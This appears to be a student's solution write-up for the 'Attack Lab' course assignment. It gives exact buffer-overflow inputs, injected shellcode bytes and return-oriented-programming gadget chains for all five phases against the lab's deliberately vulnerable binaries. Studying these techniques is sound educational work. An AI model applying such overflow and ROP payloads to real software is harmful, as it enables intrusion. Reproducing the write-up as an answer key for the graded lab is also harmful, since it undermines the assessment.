Attack lab

x86-64 is little-endian so low -> high

Phase1

```
getbuf: $0x28.        Buffer :40 bytes
Input :40 +address of touch1
Touch1 address:0x0000000000 40 17 c0
We should pass :c0 17 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
Command:./hex2raw -i ctarget_1.txt |./ctarget -q
```

phase2

```
move cookie to rdi, push address of touch2 to stack,then
return jump to touch2

mov  $0x59b997fa,%rdi
pushq $0x4017ec
ret

0000000000000000 <_start>:
   0:    48 c7 c7 fa 97 b9 59     mov    $0x59b997fa,%rdi
   7:    68 ec 17 40 00           push   $0x4017ec
   c:    c3                       ret
buffer start
rsp:0x5561dc78
```

##explain: we put our shellcode into stack by gets function then getbuf return (it should return to test(), but now it return to where buffer stars),our shellcode is in there ,so it can be executed

```
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

```
##what in stack
00 00 00 00 55 61 78 dc <-address of shell code ,which stored
in %rsp
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 c3 00 40 ec 17
68 59 b9 97 fa c7 c7 48  <- shellcode %rsp point to this

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc
61 55 00 00 00 00
```

#phase3

```
since hexmatch() and strncmp push data on stack ,origin buffer
of getbuff may be overwrite ,so cannot use this to store
string
use buffer of test to store

sting                                <--  0x5561dca8
address of shellcode:0x5561dc78  <--  0x5561dca0
0
0
0
shellcode                            <-- 0x5561dc78

shellcode:

mov $0x5561dca8, %rdi   #move address of string to rdi
pushq $0x4018fa         #push address of touch3
retq

coookie  59b997fa
ascii:  35 39 62 39 39 37 66 61 00

0000000000000000 <_start>:
   0:    48 c7 c7 a8 dc 61 55     mov    $0x5561dca8,%rdi
   7:    68 fa 18 40 00           push   $0x4018fa
   c:    c3                       ret

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```

```
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
```

#return oriented programming

#phase4

```
popq %rax           58 90 c3        0x4019ab
mov %rax  ,%rdi     48 89 c7 c3     0x4019a2
```

```
 00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    eax,[rdi-0x3c3876b8]
  4019a6:       c3                      ret

00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    eax,[rdi-0x6fa78caf]
  4019ad:       c3                      ret
```

```
coookie  59b997fa
touch2:0x4017ec

satck
touch2 address
mov %rax  ,%rdi address
coookie
popq %rax address
buffer

when getbuf return pop cookie to %rax,then move it to %rdi and
go to touch2

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
```

#phase5

```
1.%rsp->%rdi
2.offset of string ->%rsi
3.lea(%rdi,%rsi,1),%rax then %rax->%rdi  pass address of
string to rax
4.call touch3

movq %rsp,%rax    pass %rsp->%rdi
movq %rax,%rdi

popq %rax(offset) #pass offset value of string
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi

lea(%rdi,%rsi,1),%rax
mov %rax,%rdi

0000000000401a03 <addval_190>:
  401a03:       8d 87 41 48 89 e0       lea    eax,[rdi-0x1f76b7bf]
  401a09:       c3                       ret

**48 89 e0 c3** movq %rsp,%rax  0x401a06

00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    eax,[rdi-0x3c3876b8]
  4019a6:       c3                      ret
 **48 89 c7 c3** movq %rax,%rdi   0x4019a2

00000000004019ca <getval_280>:
  4019ca:       b8 29 58 90 c3          mov    eax,0xc3905829
  4019cf:       c3                      ret

**58 90 c3** popq %rax    0x4019cc

00000000004019db <getval_481>:
  4019db:       b8 5c 89 c2 90          mov    eax,0x90c2895c
  4019e0:       c3                      ret
**89 c2 90 c3** movl %eax,%edx   0x4019dd

 0000000000401a6e <setval_167>:
  401a6e:       c7 07 89 d1 91 c3       mov    DWORD PTR
[rdi],0xc391d189
  401a74:       c3                      ret

**89 d1 91 c3** movl %edx,%ecx  0x401a70

0000000000401a11 <addval_436>:
```

```
  401a11:       8d 87 89 ce 90 90       lea    eax,[rdi-0x6f6f3177]
  401a17:       c3                      ret

**89 ce 90 90 c3** movl %ecx,%esi 0x401a13


00000000004019d6 <add_xy>:
  4019d6:       48 8d 04 37             lea    rax,[rdi+rsi*1]
  4019da:       c3                      ret
**48 8d 04 37 c3** lea(%rdi,%rsi,1),%rax  0x4019d6

00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    eax,[rdi-0x3c3876b8]
  4019a6:       c3                      ret

**48 89 c7 c3** mov %rax,%rdi   0x4019a2


stack
35 39 62 39 39 37 66 61 00   cookie
touch3                  0x4018fa
mov %rax,%rdi           0x4019a2
lea(%rdi,%rsi,1),%rax   0x4019d6
movl %ecx,%esi          0x401a13
movl %edx,%ecx          0x401a70
movl %eax,%edx          0x4019dd
0x48
popq %rax               0x4019cc
movq %rax,%rdi          0x4019a2
movq %rsp,%rax          0x401a06
buffer


00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
```